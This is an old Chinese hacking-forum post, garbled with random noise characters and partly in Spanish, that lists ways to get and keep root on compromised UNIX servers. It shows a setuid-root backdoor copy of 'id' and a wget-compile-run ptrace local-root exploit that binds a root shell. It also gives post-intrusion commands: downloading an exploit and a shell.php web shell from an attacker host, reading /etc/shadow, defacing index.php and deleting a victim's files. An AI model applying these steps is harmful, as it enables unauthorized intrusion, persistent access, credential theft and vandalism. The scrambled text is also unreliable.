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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P># k# _: ]' {/ H
<>1.</P>1 p) ?4 `2 v- B
<>[cnbird@localhost tmp]#id</P>9 e$ V7 X; y7 i" C1 A1 @3 }
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>* k7 a5 h. }+ D+ l+ c+ R
<>[cnbird@localhost tmp]#cp `which id ` .</P>
0 S6 p/ z, d1 ~; j7 A<>[cnbird@localhost tmp]#chown root ./id</P>
# g" o5 e* g+ f7 r/ G+ F# a) W% Q<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>  v+ w% U! v7 k3 C' \+ y7 F
<>[cnbird@localhost tmp]#ls -l ./id</P>
2 F+ ~4 Q+ q" C# ?<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>% M* k2 m0 R- {4 F) F+ R4 W
<>[cnbird@localhost tmp]#exit</P>2 H5 o# u3 d7 d/ r( Y. H$ h; C/ H
<>[cnbird@localhost tmp]$id</P>7 N( B3 U; Q9 {8 Q3 h, _
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>6 t# E) o8 |0 l6 b+ s
<>[cnbird@localhost tmp]$./id </P>
9 Y4 ?9 e0 J: e: v0 e<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>% }& D: I6 X7 f1 S  }/ ^( f5 L" C
<>2.利用ptrace成为root的方法</P>
0 J. c3 b6 F, k+ H! a<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
) t3 m9 ^! ^* H8 |; z-&gt; Parent's PID is 2313. Child's PID is 2314.
$ `6 `9 s* b/ e" E-&gt; Attaching to 2315...
. _1 o. S: ~" s-&gt; Got the thread!!% X3 F/ L  M% d( j2 ~" U! x
-&gt; Waiting for the next signal...8 q% N+ W# B) X" Y
-&gt; Injecting shellcode at 0x4000e85d9 t$ U" Y  Z. Y
-&gt; Bind root shell on port 24876... =p
- O6 Z! Z- l- V/ W9 [-&gt; Detached from modprobe thread.
/ _* t" N! z) t1 z2 y( e% i-&gt; Committing suicide.....</P>4 W' y4 q* s: u1 R/ z4 x
<>[bash]# id
* c$ X6 J; ?# T: Duid=0(root) gid=0(root) groups=0(root)</P>, a+ P' O8 F& v; e5 w
<>ara ver los dominios que hay en el server:
( _7 F5 h, {, ^* r; N---------------------------------------------------------8 W9 j% J/ A- x) E/ F* d5 X
cat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios
+ }* X1 W5 r; Q% ?! \2 I# ~cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios; L) }/ B" s! P3 D  X7 @9 ^
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales% B9 N" @1 T& w; G5 g' F, {
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
# P8 y( E( }( ^2 h! dcat /etc/userdomains &lt;&lt; Este es el mas comun5 {4 k! H* @: ~# O7 @& b+ X$ s
---------------------------------------------------------</P>
! T/ B6 [+ j9 p  W% n4 y<>ara ver la version de kernel:
) |8 y# I6 I/ R8 _/ f2 \---------------------------------------------------------
3 i9 B1 ]9 w2 }! i1 @- vuname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
: a, d' Z( x: ]  H( I6 O. I---------------------------------------------------------</P>* c9 o1 ?/ M' d; K* `- ]
<>ara modificar un index ya existente:' S: _3 N# a  @2 T$ T8 t
---------------------------------------------------------
. D" k7 y$ ?# V! I4 O( j( ?, |; _echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido1 y4 S8 I! M8 y8 W
---------------------------------------------------------</P>
' }: j% {7 k2 n8 S<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
" ]5 r, D* s+ d* @/ |9 j5 y---------------------------------------------------------! K$ n' o/ P6 v# [( W4 H$ @
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
; A( B- k' g& }% Rcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" / a3 R2 ]& t% M! J. O1 t# C3 L; H
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
' Y. R/ B2 v, p# r  d* Mcd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
  S9 t# L0 J8 Z% {. P4 K' }: oHasta aqui termina el proceso para un exploit.8 U  e" s% ]1 o. k3 y
---------------------------------------------------------</P>: w* Z/ V6 m; M5 |8 U/ M
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:! U: I5 T# Y0 b3 U1 p, s4 D
---------------------------------------------------------6 l2 B9 }+ N5 n5 P% Q8 g
cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.2 Y8 d0 k4 \% C8 `: g) Y
---------------------------------------------------------</P>
3 D# I1 o6 Q8 I9 Q<>Borrar un Ficher$ y- L( y& u; k' @2 C9 T0 j% u: A7 R
---------------------------------------------------------
/ g+ Q0 T) \7 d0 l; N' @! V* ?cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm: h- m# w$ E* o
---------------------------------------------------------</P>7 U8 |& ]) }* r3 y$ c- S
<>Subir un ficher
. x2 y1 Y; l1 i! D9 Z---------------------------------------------------------
2 Z' [/ K% D# O5 c# R3 U  Ocd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>4 v7 B. F1 N/ ^  u
<># A- Z% E: w/ i: T& _+ `
<CENTER></CENTER>
zan
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